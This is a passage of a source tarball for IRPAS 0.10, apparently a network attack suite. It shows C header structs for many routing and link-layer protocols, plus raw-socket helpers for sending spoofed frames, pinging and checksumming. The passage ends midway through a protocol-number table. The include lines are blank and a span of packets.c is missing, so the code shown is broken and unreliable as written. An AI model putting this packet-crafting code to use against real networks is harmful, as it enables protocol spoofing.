irpas-0.10/0042755000175000017500000000000007577467652010765 5ustar vlmvlmirpas-0.10/protocols.h0100644000175000017500000005166407413406243013143 0ustar vlmvlm/* Phenoelit IRPAS * protocol definitions * * $Id: protocols.h,v 1.9 2001/10/18 12:02:58 fx Exp $ */ #ifndef _PROTOCOLS_H_ #define _PROTOCOLS_H_ #include #include #include /* ************************************************************ * Ethernet Frames * ************************************************************/ typedef struct { struct ether_addr daddr; struct ether_addr saddr; u_int16_t type; } etherIIhdr_t; /* IEEE 802.3, LLC related structs */ struct eth_ieee802_3 { struct ether_addr daddr; struct ether_addr saddr; u_int16_t length; }; struct eth_LLC { u_int8_t DSAP; u_int8_t SSAP; u_int8_t Control; u_int8_t orgcode[3]; u_int16_t proto; }; struct eth_LLC_short { u_int8_t DSAP; u_int8_t SSAP; u_int8_t Control; u_int8_t orgcode[3]; u_int16_t proto; }; /* ************************************************************ * CDP frames * ************************************************************/ /* CDP header */ struct cdphdr { u_int8_t version; u_int8_t ttl; u_int16_t checksum; }; /* CDP sections */ #define TYPE_DEVICE_ID 0x0001 #define TYPE_ADDRESS 0x0002 #define TYPE_PORT_ID 0x0003 #define TYPE_CAPABILITIES 0x0004 #define TYPE_IOS_VERSION 0x0005 #define TYPE_PLATFORM 0x0006 #define TYPE_VTP_MGMT 0x0009 #define TYPE_VLAN 0x000a #define TYPE_DUPLEX 0x000b struct cdp_device { u_int16_t type; /* 0x0001 */ u_int16_t length; u_char device; /* pointer to device name */ }; struct cdp_address { u_int16_t type; /* 0x0002 */ u_int16_t length; u_int32_t number; /* number of addresses */ }; struct cdp_address_entry { u_int8_t proto_type; /* 0x1 for NLPID */ u_int8_t length; /* 0x1 for IP */ u_int8_t proto; /* 0xCC for IP */ u_int8_t addrlen[2]; u_char addr; }; struct cdp_port { u_int16_t type; /* 0x0003 */ u_int16_t length; u_char port; /* pointer to port name */ }; #define CDP_CAP_LEVEL1 0x40 #define CDP_CAP_FORWARD_IGMP 0x20 #define CDP_CAP_NETWORK_LAYER 0x10 #define CDP_CAP_LEVEL2_SWITCH 0x08 #define CDP_CAP_LEVEL2_SRB 0x04 #define CDP_CAP_LEVEL2_TRBR 0x02 #define CDP_CAP_LEVEL3_ROUTER 0x01 struct cdp_capabilities { u_int16_t type; /* 0x0004 */ u_int16_t length; /* is 8 */ u_int32_t capab; }; struct cdp_software { u_int16_t type; /* 0x0005 */ u_int16_t length; u_char software; /* pointer to software string */ }; struct cdp_platform { u_int16_t type; /* 0x0006 */ u_int16_t length; u_char platform; /* pointer to platform string */ }; typedef struct { u_int16_t type; u_int16_t length; u_char value; /* pointer to port name */ } cdp_generic_t; /* ************************************************************ * PPPoE * ************************************************************/ typedef struct { u_int8_t version:4,type:4 __attribute__ ((packed)); u_int8_t code __attribute__ ((packed)); u_int16_t session __attribute__ ((packed)); u_int16_t payload_len __attribute__ ((packed)); } pppoe_data_t; /* ************************************************************ * ARP version 4 * ************************************************************/ #define ARPOP_REQUEST 1 /* ARP request. */ #define ARPOP_REPLY 2 /* ARP reply. */ #define ARPOP_RREQUEST 3 /* RARP request. */ #define ARPOP_RREPLY 4 /* RARP reply. */ typedef struct { u_int16_t hardware; u_int16_t protocol; u_int8_t hw_size; u_int8_t proto_size; u_int16_t opcode; u_int8_t sha[ETH_ALEN]; /* Sender hardware address. */ u_int8_t sip[4]; /* Sender IP address. */ u_int8_t tha[ETH_ALEN]; /* Target hardware address. */ u_int8_t tip[4]; /* Target IP address. */ } arphdr_t; /* ************************************************************ * IP version 4 * ************************************************************/ #define IPPROTO_ICMP 0x01 #define IPPROTO_IGRP 0x09 #define IPPROTO_UDP 0x11 #define IPPROTO_EIGRP 0x58 #define IPPROTO_OSPF 0x59 #define IPPROTO_GRE 0x2f #define IP_ADDR_LEN 4 typedef struct { u_int8_t ihl:4, /* header length */ version:4; /* version */ u_int8_t tos; /* type of service */ u_int16_t tot_len; /* total length */ u_int16_t id; /* identification */ u_int16_t off; /* fragment offset field */ u_int8_t ttl; /* time to live */ u_int8_t protocol; /* protocol */ u_int16_t check; /* checksum */ struct in_addr saddr; struct in_addr daddr; /* source and dest address */ } iphdr_t; /* ************************************************************ * TCP * ************************************************************/ typedef struct { u_int16_t th_sport; /* source port */ u_int16_t th_dport; /* destination port */ u_int32_t th_seq; /* sequence number */ u_int32_t th_ack; /* acknowledgement number */ #if __BYTE_ORDER == __LITTLE_ENDIAN u_int8_t th_x2:4; /* (unused) */ u_int8_t th_off:4; /* data offset */ #endif #if __BYTE_ORDER == __BIG_ENDIAN u_int8_t th_off:4; /* data offset */ u_int8_t th_x2:4; /* (unused) */ #endif u_int8_t th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 u_int16_t th_win; /* window */ u_int16_t th_sum; /* checksum */ u_int16_t th_urp; /* urgent pointer */ } tcphdr_t; struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; tcphdr_t tcpheader; }; /* ************************************************************ * UDP * ************************************************************/ typedef struct { u_int16_t sport __attribute__ ((packed)); u_int16_t dport __attribute__ ((packed)); u_int16_t length __attribute__ ((packed)); u_int16_t checksum __attribute__ ((packed)); } udphdr_t; /* ************************************************************ * IGRP * ************************************************************/ #define IGRP_OPCODE_REQUEST 2 #define IGRP_OPCODE_UPDATE 1 typedef struct { u_int8_t opcode:4,version:4 __attribute__ ((packed)); u_int8_t edition __attribute__ ((packed)); u_int16_t autosys __attribute__ ((packed)); u_int16_t interior __attribute__ ((packed)); u_int16_t system __attribute__ ((packed)); u_int16_t exterior __attribute__ ((packed)); u_int16_t checksum __attribute__ ((packed)); } igrp_t; /* * comment: * the thing with delay[3] ... is very ugly, but I'm not good * in representing this perhaps 3 byte long data type correctly. * Cisco's documentation has still free space for improvements ... */ typedef struct { u_int8_t destination[3] __attribute__ ((packed)); u_int8_t delay[3] __attribute__ ((packed)); u_int8_t bandwith[3] __attribute__ ((packed)); u_int16_t mtu __attribute__ ((packed)); u_int8_t reliability __attribute__ ((packed)); u_int8_t load __attribute__ ((packed)); u_int8_t hopcount __attribute__ ((packed)); } igrp_system_entry_t; /* ************************************************************ * ICMP * ************************************************************/ #define ICMP_ECHOREPLY 0 /* Echo Reply */ #define ICMP_DEST_UNREACH 3 /* Destination Unreachable */ #define ICMP_SOURCE_QUENCH 4 /* Source Quench */ #define ICMP_REDIRECT 5 /* Redirect (change route) */ #define ICMP_ECHO 8 /* Echo Request */ #define ICMP_ROUTER_ADVERT 9 /* router advertisement */ #define ICMP_SOLICITATION 10 /* router solicitation */ #define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */ #define ICMP_PARAMETERPROB 12 /* Parameter Problem */ #define ICMP_TIMESTAMP 13 /* Timestamp Request */ #define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */ #define ICMP_INFO_REQUEST 15 /* Information Request */ #define ICMP_INFO_REPLY 16 /* Information Reply */ #define ICMP_ADDRESS 17 /* Address Mask Request */ #define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */ /* Codes for REDIRECT. */ #define ICMP_REDIR_NET 0 /* Redirect Net */ #define ICMP_REDIR_HOST 1 /* Redirect Host */ #define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */ #define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */ /* codes for unreach */ #define ICMP_UNREACH_NET 0 #define ICMP_UNREACH_HOST 1 #define ICMP_UNREACH_PROTO 2 /* protocol unreachable */ #define ICMP_UNREACH_PORT 3 /* port unreachable */ #define ICMP_UNREACH_FRAG 4 /* fragmentation needed and DF */ #define ICMP_UNREACH_SOURCE 5 /* source route failed */ #define ICMP_UNREACH_ADMIN1 9 /* administratively prohibited */ #define ICMP_UNREACH_TOS 11 /* unreach fro TOS */ #define ICMP_UNREACH_FIREWALL 13 /* port filtered */ typedef struct { u_int8_t type __attribute__ ((packed)); u_int8_t code __attribute__ ((packed)); u_int16_t checksum __attribute__ ((packed)); } icmphdr_t; typedef struct { u_int16_t identifier __attribute__ ((packed)); u_int16_t seq __attribute__ ((packed)); u_int8_t data[56] __attribute__ ((packed)); } icmp_echohdr_t; typedef struct { icmphdr_t icmp __attribute__ ((packed)); icmp_echohdr_t echo __attribute__ ((packed)); } icmp_ping_t; typedef struct { u_int16_t identifier __attribute__ ((packed)); u_int16_t seq __attribute__ ((packed)); u_int8_t mask[4] __attribute__ ((packed)); } icmp_netmask_t; typedef struct { u_int16_t identifier __attribute__ ((packed)); u_int16_t seq __attribute__ ((packed)); u_int32_t origts __attribute__ ((packed)); u_int32_t recvts __attribute__ ((packed)); u_int32_t transts __attribute__ ((packed)); } icmp_timestamp_t; typedef struct { u_int8_t num_addr __attribute__ ((packed)); u_int8_t addrsize __attribute__ ((packed)); u_int16_t lifetime __attribute__ ((packed)); } irdp_t; typedef struct { u_int8_t addr[4] __attribute__ ((packed)); u_int32_t pref __attribute__ ((packed)); } irdp_rec_t; typedef struct { u_int8_t type __attribute__ ((packed)); u_int8_t code __attribute__ ((packed)); u_int16_t checksum __attribute__ ((packed)); u_int32_t reserved __attribute__ ((packed)); } irdp_solicitation_t; typedef struct { u_int8_t type __attribute__ ((packed)); u_int8_t code __attribute__ ((packed)); u_int16_t checksum __attribute__ ((packed)); u_int8_t gateway[4] __attribute__ ((packed)); u_int8_t headerdata[28] __attribute__ ((packed)); } icmp_redirect_t; /* ************************************************************ * OSPF * ************************************************************/ #define OSPF_HELLO 1 #define OSPF_DB_DESC 2 #define OSPF_LS_REQ 3 #define OSPF_LS_UPD 4 #define OSPF_LS_ACK 5 #define OSPF_AUTH_NONE 0 #define OSPF_AUTH_SIMPLE 1 #define OSPF_AUTH_CRYPT 2 typedef struct { u_int8_t version __attribute__ ((packed)); u_int8_t type __attribute__ ((packed)); u_int16_t length __attribute__ ((packed)); u_int8_t source[4] __attribute__ ((packed)); u_int8_t area[4] __attribute__ ((packed)); u_int16_t checksum __attribute__ ((packed)); u_int16_t authtype __attribute__ ((packed)); u_int8_t authdata[8] __attribute__ ((packed)); } ospf_header_t; typedef struct { u_int8_t netmask[4] __attribute__ ((packed)); u_int16_t hello_interval __attribute__ ((packed)); u_int8_t options __attribute__ ((packed)); u_int8_t priority __attribute__ ((packed)); u_int8_t dead_interval[4] __attribute__ ((packed)); u_int8_t designated[4] __attribute__ ((packed)); u_int8_t backup[4] __attribute__ ((packed)); //u_int8_t activeneig[4] __attribute__ ((packed)); } ospf_hello_t; /* ************************************************************ * Spanning Tree (STP) * ************************************************************/ typedef struct { u_int16_t protocolid __attribute__ ((packed)); u_int8_t version __attribute__ ((packed)); u_int8_t BPDU_type __attribute__ ((packed)); u_int8_t BPDU_flags __attribute__ ((packed)); u_int16_t root_priority __attribute__ ((packed)); u_int8_t root_id[6] __attribute__ ((packed)); u_int8_t root_path_cost[4] __attribute__ ((packed)); u_int16_t bridge_priority __attribute__ ((packed)); u_int8_t bridge_id[6] __attribute__ ((packed)); u_int16_t port_id __attribute__ ((packed)); u_int16_t message_age __attribute__ ((packed)); u_int16_t max_age __attribute__ ((packed)); u_int16_t hello_time __attribute__ ((packed)); u_int16_t forward_delay __attribute__ ((packed)); } stp_t; /* ************************************************************ * EIGRP * ************************************************************/ #define EIGRP_UPDATE 0x01 #define EIGRP_REQUEST 0x02 #define EIGRP_QUERY 0x03 #define EIGRP_REPLY 0x04 #define EIGRP_HELLO 0x05 #define EIGRP_TYPE_PARA 0x0001 #define EIGRP_TYPE_SOFT 0x0004 #define EIGRP_TYPE_IN_ROUTE 0x0102 #define EIGRP_TYPE_EX_ROUTE 0x0103 typedef struct { u_int8_t version __attribute__ ((packed)); u_int8_t opcode __attribute__ ((packed)); u_int16_t checksum __attribute__ ((packed)); u_int32_t flags __attribute__ ((packed)); u_int32_t seq __attribute__ ((packed)); u_int32_t ack __attribute__ ((packed)); u_int32_t as __attribute__ ((packed)); } eigrp_t; typedef struct { u_int16_t type __attribute__ ((packed)); u_int16_t length __attribute__ ((packed)); u_int8_t iosmaj __attribute__ ((packed)); u_int8_t iosmin __attribute__ ((packed)); u_int8_t eigrpmaj __attribute__ ((packed)); u_int8_t eigrpmin __attribute__ ((packed)); } eigrpsoft_t; typedef struct { u_int16_t type __attribute__ ((packed)); u_int16_t length __attribute__ ((packed)); u_int8_t k1 __attribute__ ((packed)); u_int8_t k2 __attribute__ ((packed)); u_int8_t k3 __attribute__ ((packed)); u_int8_t k4 __attribute__ ((packed)); u_int8_t k5 __attribute__ ((packed)); u_int8_t reseved __attribute__ ((packed)); u_int16_t holdtime __attribute__ ((packed)); } eigrppara_t; typedef struct { u_int16_t type __attribute__ ((packed)); u_int16_t length __attribute__ ((packed)); u_int8_t nexthop[4] __attribute__ ((packed)); u_int8_t origrouter[4] __attribute__ ((packed)); u_int32_t origas __attribute__ ((packed)); u_int32_t tag __attribute__ ((packed)); u_int32_t external_metric __attribute__ ((packed)); u_int16_t reserved_1 __attribute__ ((packed)); u_int8_t external_link __attribute__ ((packed)); u_int8_t flags __attribute__ ((packed)); u_int32_t delay __attribute__ ((packed)); u_int32_t bandwidth __attribute__ ((packed)); u_int8_t mtu[3] __attribute__ ((packed)); u_int8_t hopcount __attribute__ ((packed)); u_int8_t reliability __attribute__ ((packed)); u_int8_t load __attribute__ ((packed)); u_int16_t reserved_2 __attribute__ ((packed)); u_int8_t prefix_length __attribute__ ((packed)); /* Warning: * this filed is variable and depends on prefix_length * 8= 1 * 16=2 * 24=3 * 32=4*/ u_int8_t dest __attribute__ ((packed)); } eigrpextroute_t; typedef struct { u_int16_t type __attribute__ ((packed)); u_int16_t length __attribute__ ((packed)); u_int8_t nexthop[4] __attribute__ ((packed)); u_int32_t delay __attribute__ ((packed)); u_int32_t bandwidth __attribute__ ((packed)); u_int8_t mtu[3] __attribute__ ((packed)); u_int8_t hopcount __attribute__ ((packed)); u_int8_t reliability __attribute__ ((packed)); u_int8_t load __attribute__ ((packed)); u_int16_t reserved_2 __attribute__ ((packed)); u_int8_t prefix_length __attribute__ ((packed)); /* Warning: * this filed is variable and depends on prefix_length * 8= 1 * 16=2 * 24=3 * 32=4*/ u_int8_t dest __attribute__ ((packed)); } eigrpintroute_t; /* ************************************************************ * RIP v1 * ************************************************************/ #define RIP_PORT 520 #define RIP_COMMAND_REQUEST 1 #define RIP_COMMAND_RESPONSE 2 typedef struct { u_int8_t command __attribute__ ((packed)); u_int8_t version __attribute__ ((packed)); u_int16_t zero __attribute__ ((packed)); } ripv1hdr_t; typedef struct { u_int16_t addrfamily __attribute__ ((packed)); u_int16_t zero1 __attribute__ ((packed)); u_int8_t address[4] __attribute__ ((packed)); u_int16_t zero2[4] __attribute__ ((packed)); u_int32_t metric __attribute__ ((packed)); } ripv1addr_t; typedef struct { u_int8_t command __attribute__ ((packed)); u_int8_t version __attribute__ ((packed)); u_int16_t domain __attribute__ ((packed)); } ripv2hdr_t; typedef struct { u_int16_t addrfamily __attribute__ ((packed)); u_int16_t routetag __attribute__ ((packed)); u_int8_t address[4] __attribute__ ((packed)); u_int8_t netmask[4] __attribute__ ((packed)); u_int8_t nexthop[4] __attribute__ ((packed)); u_int32_t metric __attribute__ ((packed)); } ripv2addr_t; typedef struct { u_int16_t addrfamily __attribute__ ((packed)); u_int16_t authtype __attribute__ ((packed)); u_int8_t auth[16] __attribute__ ((packed)); } ripv2auth_t; /* ************************************************************ * GRE * ************************************************************/ typedef struct { u_int16_t flags; u_int16_t proto; } grehdr_t; /* ************************************************************ * HSRP * ************************************************************/ #define HSRP_OPCODE_HELLO 0 #define HSRP_OPCODE_COUP 1 #define HSRP_OPCODE_RESIGN 2 #define HSRP_STATE_INITIAL 0 #define HSRP_STATE_LEARN 1 #define HSRP_STATE_LISTEN 2 #define HSRP_STATE_SPEAK 4 #define HSRP_STATE_STANDBY 8 #define HSRP_STATE_ACTIVE 16 typedef struct { u_int8_t version; u_int8_t opcode; u_int8_t state; u_int8_t hellotime; u_int8_t holdtime; u_int8_t prio; u_int8_t group; u_int8_t reserved; u_int8_t auth[8]; u_int8_t virtip[4]; } hsrp_t; /* ************************************************************ * DHCP * ************************************************************/ #define DHCP_CLIENT_PORT 68 #define DHCP_SERVER_PORT 67 #define DHCPDISCOVER 1 #define DHCPOFFER 2 #define DHCPREQUEST 3 #define DHCPDECLINE 4 #define DHCPACK 5 #define DHCPNAK 6 #define DHCPRELEASE 7 #define DHCPINFORM 8 typedef struct { u_int8_t msgtype __attribute__ ((packed)); u_int8_t hwtype __attribute__ ((packed)); u_int8_t hwalen __attribute__ ((packed)); u_int8_t hops __attribute__ ((packed)); u_int32_t transid __attribute__ ((packed)); u_int16_t seconds __attribute__ ((packed)); u_int16_t bcastflags __attribute__ ((packed)); u_int32_t ciaddr __attribute__ ((packed)); u_int32_t yiaddr __attribute__ ((packed)); u_int32_t siaddr __attribute__ ((packed)); u_int32_t giaddr __attribute__ ((packed)); u_char chaddr[16] __attribute__ ((packed)); u_char sname[64] __attribute__ ((packed)); u_char file[128] __attribute__ ((packed)); u_int8_t cookie[4] __attribute__ ((packed)); } dhcp_t; #define DHCP_OPTION_DISCOVER 53 #define DHCP_OPTION_PARAMETERS 55 #define DHCP_OPTION_CLIENTID 61 typedef struct { u_int8_t type; u_int8_t length; u_int8_t value; } dhcp_option_t; #endif _PROTOCOLS_H_ irpas-0.10/packets.h0100644000175000017500000000214507364600756012551 0ustar vlmvlm/* IRPAS project - packet library * * FX * Phenoelit (http://www.phenoelit.de) * (c) 2k * * $Id: packets.h,v 1.2 2001/06/16 18:17:31 fx Exp $ */ #ifndef _PACKET_H_ #define _PACKET_H_ #include #include #include typedef struct { /* Ethernet address of the interface */ struct ether_addr eth; /* IPv4 address of the interface */ struct in_addr ip; struct in_addr bcast; /* Maximum transfer unit for this interface */ unsigned int mtu; } packet_ifconfig_t; extern packet_ifconfig_t packet_ifconfig; void *smalloc(size_t size); /* network init */ int init_socket_eth(char *device); int init_socket_IP4(char *device, int broadcast); /* network sending */ int sendpack_IP4(int sfd, u_char *packet,int plength); int sendpack_eth(char *device, int atsock, u_char *frame, int frame_length); /* checksum */ u_int16_t chksum(u_char *data, unsigned long count); /* ping */ int icmp_ping(struct in_addr *t,int timeout,int verbose); void makenonblock(int s); int makebcast(int s); #endif _PACKET_H_ irpas-0.10/packets.c0100644000175000017500000002334707364600755012552 0ustar vlmvlm/* IRPAS project - packet library * * FX * Phenoelit (http://www.phenoelit.de) * (c) 2k * * $Id: packets.c,v 1.2 2001/06/16 18:17:31 fx Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include packet_ifconfig_t packet_ifconfig; /* pings the host, waits 'timeout' seconds and reports to stdout * depending on the level of 'verbose' * * returns 0 on OK, -1 on error, 1 on timeout */ int icmp_ping(struct in_addr *t,int timeout,int verbose) { #define RESP_ONE 1 #define RESP_MORE 2 int sfd; struct sockaddr_in sin,fromaddr; u_char *tpacket; icmp_ping_t *pingh; int psize; u_int16_t pident; int rc,addrsize,respond=0; unsigned long start_t; struct timespec sleeper = { 0, 10 }; if ((sfd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) { perror("socket()"); return(-1); } rc=1; if (setsockopt(sfd,SOL_SOCKET,SO_BROADCAST,(void *)&rc,sizeof(int))!=0) { perror("setsockopt"); return (-1); } psize=sizeof(icmp_ping_t); tpacket=(u_char *)smalloc(sizeof(icmp_ping_t) +3 /* for my checksum function, which sometimes steps over the mark */ ); pident=1+(u_int16_t) (65535.0*rand()/(RAND_MAX+1.0)); /* make up the icmp header */ pingh=(icmp_ping_t *)tpacket; pingh->icmp.type=ICMP_ECHO; pingh->icmp.code=0; pingh->echo.identifier=htons(pident); pingh->icmp.checksum=chksum((u_char *)pingh,psize); memset(&sin,0,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; sin.sin_port=htons(0); memcpy(&(sin.sin_addr),t,sizeof(sin.sin_addr)); if (sendto(sfd,tpacket,psize,0, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) <0) { perror("sendto()"); return(-1); } rc= O_NONBLOCK | fcntl(sfd, F_GETFL); fcntl(sfd,F_SETFL,rc); memset(&fromaddr,0,sizeof(struct sockaddr_in)); addrsize=sizeof(struct sockaddr_in); start_t=(unsigned long)time(NULL); memset(tpacket,0,psize); while (start_t+timeout>=time(NULL)) { if ((rc=recvfrom(sfd,(u_char *)tpacket,psize,0, (struct sockaddr *)&fromaddr, &addrsize))>=0) { pingh=(icmp_ping_t *)(tpacket+sizeof(iphdr_t)); if (pingh->icmp.type==ICMP_ECHOREPLY) { if ( /* address has to be the same */ (!memcmp(&(fromaddr.sin_addr), &(sin.sin_addr),sizeof(sin.sin_addr))) && (ntohs(pingh->echo.identifier)==pident) ){ /* normal response */ respond=RESP_ONE; if (verbose>1) printf("%s respond ... good\n", inet_ntoa(fromaddr.sin_addr)); break; } else if ( /** SECTION that handles bcast and network addrs **/ /* address is different - possibly bcast*/ (memcmp(&(fromaddr.sin_addr), &(sin.sin_addr),sizeof(sin.sin_addr))) && (ntohs(pingh->echo.identifier)==pident) ) { if (verbose) { fprintf(stderr,"%s respond instead of ", inet_ntoa(fromaddr.sin_addr)); fprintf(stderr,"%s (broadcast or network address?)\n", inet_ntoa(sin.sin_addr)); } if (respond==0) respond=RESP_ONE; else respond=RESP_MORE; } /* it may be an ECHO REPLY, but it's not our's */ } /* it's not an ECHO REPLY, therefore it is not OK */ } nanosleep(&sleeper,NULL); } if (!respond) { if (verbose) { printf("%s not responding to ICMP Echo request\n", inet_ntoa(*t)); } free(tpacket); close(sfd); return 1; } else if (respond==RESP_MORE) { if (verbose) { printf("%s is broadcast or network\n", inet_ntoa(*t)); } free(tpacket); close(sfd); return 1; } else { if (verbose) { printf("%s is alive\n", inet_ntoa(*t)); } free(tpacket); close(sfd); return 0; } /* not reached */ return 0; } void makenonblock(int s) { int rc=1; rc= O_NONBLOCK | fcntl(s, F_GETFL); fcntl(s,F_SETFL,rc); } int makebcast(int s) { int rc=1; if (setsockopt(s,SOL_SOCKET,SO_BROADCAST,(void *)&rc,sizeof(int))!=0) { perror("setsockopt"); return (-1); } return(0); } /* opens the raw socket, * RETURNS 0 on success or -1 on error */ int init_socket_eth(char *device) { int sfd; struct ifreq ifr; if ((sfd=socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL)))<0) { perror("socket()"); return (-1); } /* get HW addr */ memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name)); if (ioctl(sfd, SIOCGIFHWADDR, &ifr) < 0 ) { perror("ioctl()"); return (-1); } memcpy(&(packet_ifconfig.eth),&ifr.ifr_hwaddr.sa_data,ETH_ALEN); /* grab the IP address */ memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name)); if (ioctl(sfd, SIOCGIFADDR, &ifr) < 0 ) { perror("ioctl()"); return (-1); } memcpy(&(packet_ifconfig.ip.s_addr), &(*(struct sockaddr_in *)&ifr.ifr_addr).sin_addr.s_addr, IP_ADDR_LEN); /* get MTU for size */ memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name)); if (ioctl(sfd, SIOCGIFMTU, &ifr) < 0 ) { perror("ioctl()"); return (-1); } packet_ifconfig.mtu=ifr.ifr_mtu; /* get broadcast addr for size */ memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name)); if (ioctl(sfd, SIOCGIFBRDADDR, &ifr) < 0 ) { perror("ioctl()"); return (-1); } memcpy(&(packet_ifconfig.bcast.s_addr), &(*(struct sockaddr_in *)&ifr.ifr_addr).sin_addr.s_addr, IP_ADDR_LEN); return sfd; } /* creates the socket * Returns the socket or -1 on error */ int init_socket_IP4(char *device, int broadcast) { int sfd; struct ifreq ifr; int t=1; if ((sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) { perror("socket()"); return(-1); } /* make a broadcast enabled socket if desired */ if (broadcast) { if (setsockopt( sfd,SOL_SOCKET,SO_BROADCAST, (void *)&t,sizeof(int)) != 0) { perror("setsockopt"); return (-1); } } /* get HW addr */ memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name)); if (ioctl(sfd, SIOCGIFHWADDR, &ifr) < 0 ) { perror("ioctl()"); return (-1); } memcpy(&(packet_ifconfig.eth),&ifr.ifr_hwaddr.sa_data,ETH_ALEN); /* grab the IP address */ memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name)); if (ioctl(sfd, SIOCGIFADDR, &ifr) < 0 ) { perror("ioctl()"); return (-1); } memcpy(&(packet_ifconfig.ip.s_addr), &(*(struct sockaddr_in *)&ifr.ifr_addr).sin_addr.s_addr, IP_ADDR_LEN); /* get MTU for size */ memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name)); if (ioctl(sfd, SIOCGIFMTU, &ifr) < 0 ) { perror("ioctl()"); return (-1); } packet_ifconfig.mtu=ifr.ifr_mtu; /* get broadcast addr for size */ memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name)); if (ioctl(sfd, SIOCGIFBRDADDR, &ifr) < 0 ) { perror("ioctl()"); return (-1); } memcpy(&(packet_ifconfig.bcast.s_addr), &(*(struct sockaddr_in *)&ifr.ifr_addr).sin_addr.s_addr, IP_ADDR_LEN); return sfd; } /* sends out a raw IP packet * returns 0 on success or -1 on error */ int sendpack_IP4(int sfd, u_char *packet,int plength) { struct sockaddr_in sin; iphdr_t *iph; iph=(iphdr_t *)packet; memset(&sin,0,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; sin.sin_port=htons(0); memcpy(&(sin.sin_addr),&(iph->daddr),sizeof(sin.sin_addr)); if (sendto(sfd,packet,plength,0, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) <=0) { perror("sendto()"); return(-1); } return 0; } /* send's the ethernet frame, * RETURNS the number of octets send or -1 on error */ int sendpack_eth(char *device, int atsock, u_char *frame, int frame_length) { struct sockaddr sa; int sendBytes; memset(&sa,0,sizeof(sa)); strncpy(sa.sa_data,device,sizeof(sa.sa_data)); sendBytes=sendto(atsock,frame,frame_length,0,&sa,sizeof(sa)); if (sendBytes<0) { perror("send_ethernet_frame(): sendto"); return (-1); } else if (sendBytes make the buffer for data at least count+1 bytes long ! */ u_int16_t chksum(u_char *data, unsigned long count) { u_int32_t sum = 0; u_int16_t *wrd; wrd=(u_int16_t *)data; while( count > 1 ) { sum = sum + *wrd; wrd++; count -= 2; } /* Add left-over byte, if any */ if( count > 0 ) { #ifdef __DEBUG__ printf("Left over byte: %04X\n",((*wrd & 0xFF)<<8)); #endif __DEBUG__ sum = sum + ((*wrd &0xFF)<<8); } /* Fold 32-bit sum to 16 bits */ while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); } return (~sum); } irpas-0.10/protocol-numbers.h0100644000175000017500000002202207364600756014425 0ustar vlmvlm/* $Id: protocol-numbers.h,v 1.7 2001/04/20 16:24:17 fx Exp $ * * file part of protos.c * * generated from * ftp://ftp.isi.edu/in-notes/iana/assignments/protocol-numbers * becuse IANA thinks it's fun to add proto numbers all nose long */ #ifndef _PROTOCOL_NUMBERS_H_ #define _PROTOCOL_NUMBERS_H_ typedef struct proto_t { int number; char *keyword; char *name; } Protocols; #define PROTOCOLS 255 static Protocols prts[] = { {0,"HOPOPT","IPv6 Hop-by-Hop Option [RFC1883]"}, {1,"ICMP","Internet Control Message [RFC792]"}, {2,"IGMP","Internet Group Management [RFC1112]"}, {3,"GGP","Gateway-to-Gateway [RFC823]"}, {4,"IPenc","IP in IP (encapsulation) [RFC2003]"}, {5,"ST","Stream [RFC1190,IEN119]"}, {6,"TCP","Transmission Control [RFC793]"}, {7,"CBT","CBT [Ballardie]"}, {8,"EGP","Exterior Gateway Protocol [RFC888,DLM1]"}, {9,"IGP","any private interior gateway [IANA]"}, {10,"BBN-RCC-MON","BBN RCC Monitoring [SGC]"}, {11,"NVP-II","Network Voice Protocol [RFC741,SC3]"}, {12,"PUP","PUP [PUP,XEROX]"}, {13,"ARGUS","ARGUS [RWS4]"}, {14,"EMCON","EMCON [BN7]"}, {15,"XNET","Cross Net Debugger [IEN158,JFH2]"}, {16,"CHAOS","Chaos [NC3]"}, {17,"UDP","User Datagram [RFC768,JBP]"}, {18,"MUX","Multiplexing [IEN90,JBP]"}, {19,"DCN-MEAS","DCN Measurement Subsystems [DLM1]"}, {20,"HMP","Host Monitoring [RFC869,RH6]"}, {21,"PRM","Packet Radio Measurement [ZSU]"}, {22,"XNS-IDP","XEROX NS IDP [ETHERNET,XEROX]"}, {23,"TRUNK-1","Trunk-1 [BWB6]"}, {24,"TRUNK-2","Trunk-2 [BWB6]"}, {25,"LEAF-1","Leaf-1 [BWB6]"}, {26,"LEAF-2","Leaf-2 [BWB6]"}, {27,"RDP","Reliable Data Protocol [RFC908,RH6]"}, {28,"IRTP","Internet Reliable Transaction [RFC938,TXM]"}, {29,"ISO-TP4","ISO Transport Protocol Class 4 [RFC905,RC77]"}, {30,"NETBLT","Bulk Data Transfer Protocol [RFC969,DDC1]"}, {31,"MFE-NSP","MFE Network Services Protocol [MFENET,BCH2]"}, {32,"MERIT-INP","MERIT Internodal Protocol [HWB]"}, {33,"SEP","Sequential Exchange Protocol [JC120]"}, {34,"3PC","Third Party Connect Protocol [SAF3]"}, {35,"IDPR","Inter-Domain Policy Routing Protocol [MXS1]"}, {36,"XTP","XTP [GXC]"}, {37,"DDP","Datagram Delivery Protocol 